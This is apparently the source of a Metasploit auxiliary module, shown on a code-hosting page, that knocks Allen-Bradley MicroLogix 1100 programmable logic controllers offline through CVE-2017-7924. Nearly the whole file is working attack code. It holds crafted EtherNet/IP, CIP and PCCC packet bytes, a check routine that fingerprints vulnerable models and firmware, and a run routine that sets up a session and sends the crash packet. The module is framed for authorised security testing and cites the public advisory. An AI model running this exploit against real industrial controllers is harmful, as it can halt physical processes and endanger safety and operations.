Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/scada/allen_bradley_pccc.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Dos910def initialize(info = {})11super(12'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)",13'Description' => %q{14A remote, unauthenticated attacker could send a single, specially crafted15Programmable Controller Communication Commands (PCCC) packet to the controller16that could potentially cause the controller to enter a DoS condition.17MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and181763-L16DWD.19CVE-2017-7924 has been assigned to this vulnerability.20A CVSS v3 base score of 7.5 has been assigned.21},22'Author' => [23'José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>',24'Luis Rosa <lmrosa[at]dei.uc.pt>',25'Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>'26],27'License' => MSF_LICENSE,28'References' =>29[30[ 'CVE', '2017-7924' ],31[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03' ],32[ 'URL', 'https://dl.acm.org/doi/10.1145/3174776.3174780']33])34register_options([Opt::RPORT(44818),])35end3637VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD']38VULN_FW_VERSION_MIN = 14.0039VULN_FW_VERSION_MAX = 16.0040def le_pp(s)41"0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}"42end4344def enip_register_session_pkt45# ENIP encapsulation Header46"\x65\x00" + # Command register session (0x0065)47"\x04\x00" + # Length (4)48"\x00\x00\x00\x00" + # Session handle (0x00000000)49"\x00\x00\x00\x00" + # Status success (0x00000000)50"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)51"\x00\x00\x00\x00" + # Options (0x00000000)52# Protocol Specific Data53"\x01\x00" + # Protocol version (1)54"\x00\x00" # Option flags (0x00000000)55end5657def enip_ccm_forward_open_pkt(enip_session_handle)58# ENIP encapsulation header59"\x6f\x00" + # Send RR data (0x006f)60"\x3e\x00" + # Length (63)61enip_session_handle + # Session handle (retrieved from register session)62"\x00\x00\x00\x00" + # Status success (0x00000000)63"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)64"\x00\x00\x00\x00" + # Options (0x00000000)65# Command specific data66"\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000)67"\x00\x00" + # Timeout (0)68"\x02\x00" + # Item count (2)69"\x00\x00" + # Item 1 type id (Null address item)70"\x00\x00" + # Item 1 length (0)71"\xb2\x00" + # Item 2 type id (Unconnected data item)72"\x2e\x00" + # Item 2 length (46)73# CIP Connection manager specific data74"\x54\x02\x20\x06\x24\x01\x0a\xf0" +75"\x00\x00\x00\x00\x52\xac\xda\x89" +76"\x55\x0c\x35\x01\xe1\x08\xb0\x60" +77"\x07\x00\x00\x00\x00\x40\x00\x00" +78"\x12\x43\x00\x40\x00\x00\x12\x43" +79"\xa3\x02\x20\x02\x24\x01"80end8182# Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08)83def pccc_dos_pkt(enip_session_id, cip_connection_id)84# ENIP encapsulation header85"\x70\x00" + # Send unit data (0x0070)86"\x2d\x00" + # Length87enip_session_id + # ENIP session handle (obtained from enip register session)88"\x00\x00\x00\x00" + # Status Success89"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context90"\x00\x00\x00\x00" + # Options91# Command Specific data92"\x00\x00\x00\x00" + # Interface handle (CIP)93"\x00\x00" + # Timeout (0)94"\x02\x00" + # Item count95"\xa1\x00" + # Item 1 - Type ID (Connected address item)96"\x04\x00" + # Item 1 - Length (4)97cip_connection_id + # CIP connection ID (obtained from CIP CM packet)98"\xb1\x00" + # Item 2 - Type ID (Connected data item)99"\x19\x00" + # Item 2 - Length (25)100"\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet101# PCCC Command data102"\x4b" + # Execute PCCC (0x4b)103"\x02\x20\x67\x24\x01" + # no idea what this is104"\x07" + # Requestor ID length105"\x35\x01" + # CIP vendor ID106"\xe1\x08\xb0\x60" + # CIP serial number107"\x0f" + # Command code108"\x00" + # Status (success 0x00)109"\x2a\x58" + # Transaction code110"\xa2" + # Function code (Protected typed logical read with three address fields)111"\x00" + # Byte size112"\x05" + # File number113"\x47" + # File type114"\x00" + # Element number115"\x00" # Sub-element number116end117118def enip_list_identify_pkt119"\x63\x00" + # List Identity120"\x00\x00" + # Length121"\x00\x00\x00\x00" + # Session Handle122"\x00\x00\x00\x00" + # Status: Success123"\x00\x00" + # Max Response Delay124"\x00\x00\xc1\xde\xbe\xd1" + # Sender Context125"\x00\x00\x00\x00" # Options126end127128129def check130131connect_udp132133udp_sock.put(enip_list_identify_pkt)134res = udp_sock.recvfrom(90)135136disconnect_udp137138unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00"139print_error "EtherNet/IP Packet Not Valid"140return Exploit::CheckCode::Unsupported141end142143revision = res[0][54,2]144product_name_len = res[0][62].unpack("c*")[0]145146147product_name = res[0][63,product_name_len]148print_status "Product Name: #{product_name}"149150array = product_name.split(' ')151plc_model = array[0]152153return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e }154155firmware = array[1]156begin157firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f158if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX159return Exploit::CheckCode::Vulnerable160elsif firmware_nbr < VULN_FW_VERSION_MIN161return Exploit::CheckCode::Appears162else163return Exploit::CheckCode::Safe164end165rescue166return Exploit::CheckCode::Unknown167end168169rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e170elog(e)171ensure172disconnect173end174175def run176connect177# Register Ethernet/IP session178sock.put(enip_register_session_pkt)179enip_register_session_ans = sock.get_once180unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00"181print_error "Ethernet/IP - Failed to create session."182disconnect183return184end185enip_session_id = enip_register_session_ans[4, 4]186print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"187188# Ethernet/IP CCM Forward Open189sock.put(enip_ccm_forward_open_pkt(enip_session_id))190enip_ccm_forward_open_ans = sock.get_once191unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00"192print_error "CIP Connection Manager - Failed Forward Open request"193disconnect194return195end196cip_connection_id = enip_ccm_forward_open_ans[44, 4]197print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"198199# PCCC DoS packet200print_status "Sending PCCC DoS magic packet..."201sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id))202203rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e204elog(e)205ensure206disconnect207end208end209210211